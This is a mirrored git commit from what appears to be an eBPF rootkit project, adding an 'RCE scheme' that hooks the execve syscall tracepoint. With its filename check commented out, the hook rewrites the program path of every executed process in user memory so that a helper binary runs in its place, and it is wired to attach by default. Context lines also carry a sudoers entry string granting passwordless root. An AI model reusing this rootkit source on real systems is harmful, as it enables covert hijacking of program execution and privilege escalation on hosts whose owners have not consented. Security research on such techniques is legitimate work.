mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -18,4 +18,8 @@
|
|||||||
#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
|
#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
|
||||||
#define STRING_FS_SUDOERS_ENTRY_LEN 34
|
#define STRING_FS_SUDOERS_ENTRY_LEN 34
|
||||||
|
|
||||||
|
//EXECUTION HIJACKING
|
||||||
|
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||||
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -12,23 +12,96 @@
|
|||||||
#include "defs.h"
|
#include "defs.h"
|
||||||
#include "../utils/strings.h"
|
#include "../utils/strings.h"
|
||||||
|
|
||||||
|
#define NUMBER_ARGUMENTS_PARSED 12
|
||||||
|
#define ARGUMENT_LENGTH 64
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
|
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
|
||||||
*/
|
*/
|
||||||
struct sys_execve_enter_ctx {
|
struct sys_execve_enter_ctx {
|
||||||
unsigned long long unused;
|
unsigned long long unused;
|
||||||
int __syscall_nr;
|
int __syscall_nr;
|
||||||
unsigned int padding;
|
unsigned int padding;
|
||||||
const char* const *argv;
|
char* filename;
|
||||||
const char* filename;
|
const char* const* argv;
|
||||||
const char* const *envp;
|
const char* const* envp;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||||
|
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||||
|
//unsigned char* envp[PROGRAM_LENGTH] = {0};
|
||||||
|
unsigned char filename[ARGUMENT_LENGTH] = {0};
|
||||||
|
if(ctx==NULL || ctx->argv == NULL){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||||
|
bpf_printk("Error reading 1\n");
|
||||||
|
};
|
||||||
|
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
|
||||||
|
bpf_printk("Error reading 2\n");
|
||||||
|
};*/
|
||||||
|
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||||
|
bpf_printk("Error reading 3\n");
|
||||||
|
};
|
||||||
|
|
||||||
|
bpf_printk("ARGV0: %s\n", argv[0]);
|
||||||
|
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||||
|
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||||
|
//bpf_printk("ENVP: %s\n", envp);
|
||||||
|
bpf_printk("FILENAME: %s\n", filename);
|
||||||
|
|
||||||
|
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||||
|
//return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bpf_printk("Our file!\n");
|
||||||
|
/*
|
||||||
|
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||||
|
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||||
|
we receive an userspace buffer, but this is later tweaked via getname().
|
||||||
|
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
|
||||||
|
The idea is to hook all execve calls, but the first execution of our userspace helper will
|
||||||
|
deactivate this hook.
|
||||||
|
Also another solution could be to hook do_execve and access the filename struct, which still contians
|
||||||
|
an userspace buffer inside.
|
||||||
|
*/
|
||||||
|
|
||||||
|
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||||
|
|
||||||
|
#pragma unroll
|
||||||
|
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||||
|
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||||
|
}
|
||||||
|
|
||||||
|
bpf_printk("To write: %s\n", to_write);
|
||||||
|
|
||||||
|
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
|
||||||
|
if(ret<0){
|
||||||
|
bpf_printk("Error writing to user memory %i\n", ret);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||||
|
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||||
|
bpf_printk("Error reading 3\n");
|
||||||
|
};
|
||||||
|
bpf_printk("NEW FILENAME: %s\n", newfilename);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
SEC("tp/syscalls/sys_enter_execve")
|
SEC("tp/syscalls/sys_enter_execve")
|
||||||
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
|
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
|
||||||
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
|
if(pid_tgid<0){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return handle_tp_sys_enter_execve(ctx, pid_tgid);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -32,31 +32,6 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Implementation of strncpy from the Linux Kernel.
|
|
||||||
* strncpy - Copy a length-limited, C-string
|
|
||||||
* @dest: Where to copy the string to
|
|
||||||
* @src: Where to copy the string from
|
|
||||||
* @count: The maximum number of bytes to copy
|
|
||||||
*
|
|
||||||
* The result is not %NUL-terminated if the source exceeds
|
|
||||||
* @count bytes.
|
|
||||||
*
|
|
||||||
* In the case where the length of @src is less than that of
|
|
||||||
* count, the remainder of @dest will be padded with %NUL.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
|
||||||
char *tmp = dest;
|
|
||||||
|
|
||||||
while (count) {
|
|
||||||
if ((*tmp = *src) != 0)
|
|
||||||
src++;
|
|
||||||
tmp++;
|
|
||||||
count--;
|
|
||||||
}
|
|
||||||
return dest;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -36,6 +36,7 @@
|
|||||||
//BPF modules to load
|
//BPF modules to load
|
||||||
#include "include/bpf/sched.h"
|
#include "include/bpf/sched.h"
|
||||||
#include "include/bpf/fs.h"
|
#include "include/bpf/fs.h"
|
||||||
|
#include "include/bpf/exec.h"
|
||||||
|
|
||||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||||
#define ETH_ALEN 6
|
#define ETH_ALEN 6
|
||||||
|
|||||||
Binary file not shown.
@@ -1,9 +1,23 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
int main(int argc, char* argv[]){
|
int main(int argc, char* argv[]){
|
||||||
printf("Hello world from execve hijacker\n");
|
printf("Hello world from execve hijacker\n");
|
||||||
for(int ii=0; ii<argc; ii++){
|
for(int ii=0; ii<argc; ii++){
|
||||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||||
|
|
||||||
|
int ii = 0;
|
||||||
|
while(*(argv[0]+ii)!='\0'){
|
||||||
|
write(fd, argv[0]+ii, 1);
|
||||||
|
ii++;
|
||||||
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
34
src/user/include/modules/exec.h
Normal file
34
src/user/include/modules/exec.h
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#ifndef __MOD_EXEC_H
|
||||||
|
#define __MOD_EXEC_H
|
||||||
|
|
||||||
|
#include <linux/bpf.h>
|
||||||
|
#include <bpf/bpf.h>
|
||||||
|
#include <bpf/libbpf.h>
|
||||||
|
#include "common.h"
|
||||||
|
#include "kit.skel.h"
|
||||||
|
|
||||||
|
//Connections
|
||||||
|
int attach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||||
|
skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
|
||||||
|
return libbpf_get_error(skel->links.tp_sys_enter_execve);
|
||||||
|
}
|
||||||
|
|
||||||
|
int attach_exec_all(struct kit_bpf *skel){
|
||||||
|
return attach_tp_sys_enter_execve(skel);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int detach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||||
|
int err = detach_link_generic(skel->links.tp_sys_enter_execve);
|
||||||
|
if(err<0){
|
||||||
|
fprintf(stderr, "Failed to detach fs link\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int detach_exec_all(struct kit_bpf *skel){
|
||||||
|
return detach_tp_sys_enter_execve(skel);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -2,6 +2,7 @@
|
|||||||
#include "xdp.h"
|
#include "xdp.h"
|
||||||
#include "sched.h"
|
#include "sched.h"
|
||||||
#include "fs.h"
|
#include "fs.h"
|
||||||
|
#include "exec.h"
|
||||||
|
|
||||||
module_config_t module_config = {
|
module_config_t module_config = {
|
||||||
.xdp_module = {
|
.xdp_module = {
|
||||||
@@ -17,6 +18,10 @@ module_config_t module_config = {
|
|||||||
.tp_sys_enter_read = OFF,
|
.tp_sys_enter_read = OFF,
|
||||||
.tp_sys_exit_read = OFF,
|
.tp_sys_exit_read = OFF,
|
||||||
.tp_sys_enter_openat = OFF
|
.tp_sys_enter_openat = OFF
|
||||||
|
},
|
||||||
|
.exec_module = {
|
||||||
|
.all = ON,
|
||||||
|
.tp_sys_enter_execve = OFF
|
||||||
}
|
}
|
||||||
|
|
||||||
};
|
};
|
||||||
@@ -28,7 +33,8 @@ module_config_attr_t module_config_attr = {
|
|||||||
.flags = -1
|
.flags = -1
|
||||||
},
|
},
|
||||||
.sched_module = {},
|
.sched_module = {},
|
||||||
.fs_module = {}
|
.fs_module = {},
|
||||||
|
.exec_module = {}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
@@ -64,6 +70,14 @@ int setup_all_modules(){
|
|||||||
}
|
}
|
||||||
if(ret!=0) return -1;
|
if(ret!=0) return -1;
|
||||||
|
|
||||||
|
//EXEC
|
||||||
|
if(config.exec_module.all == ON){
|
||||||
|
ret = attach_exec_all(attr.skel);
|
||||||
|
}else{
|
||||||
|
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
|
||||||
|
}
|
||||||
|
if(ret!=0) return -1;
|
||||||
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,6 +30,11 @@ typedef struct module_config_t{
|
|||||||
char tp_sys_enter_openat;
|
char tp_sys_enter_openat;
|
||||||
}fs_module;
|
}fs_module;
|
||||||
|
|
||||||
|
struct exec_module {
|
||||||
|
char all;
|
||||||
|
char tp_sys_enter_execve;
|
||||||
|
}exec_module;
|
||||||
|
|
||||||
} module_config_t;
|
} module_config_t;
|
||||||
|
|
||||||
//Configuration struct. Used by the module manager to
|
//Configuration struct. Used by the module manager to
|
||||||
@@ -49,6 +54,10 @@ typedef struct module_config_attr_t{
|
|||||||
void* __empty;
|
void* __empty;
|
||||||
}fs_module;
|
}fs_module;
|
||||||
|
|
||||||
|
struct exec_module_attr {
|
||||||
|
void* __empty;
|
||||||
|
}exec_module;
|
||||||
|
|
||||||
} module_config_attr_t;
|
} module_config_attr_t;
|
||||||
|
|
||||||
//An unique module configutation struct and attr
|
//An unique module configutation struct and attr
|
||||||
|
|||||||
Reference in New Issue
Block a user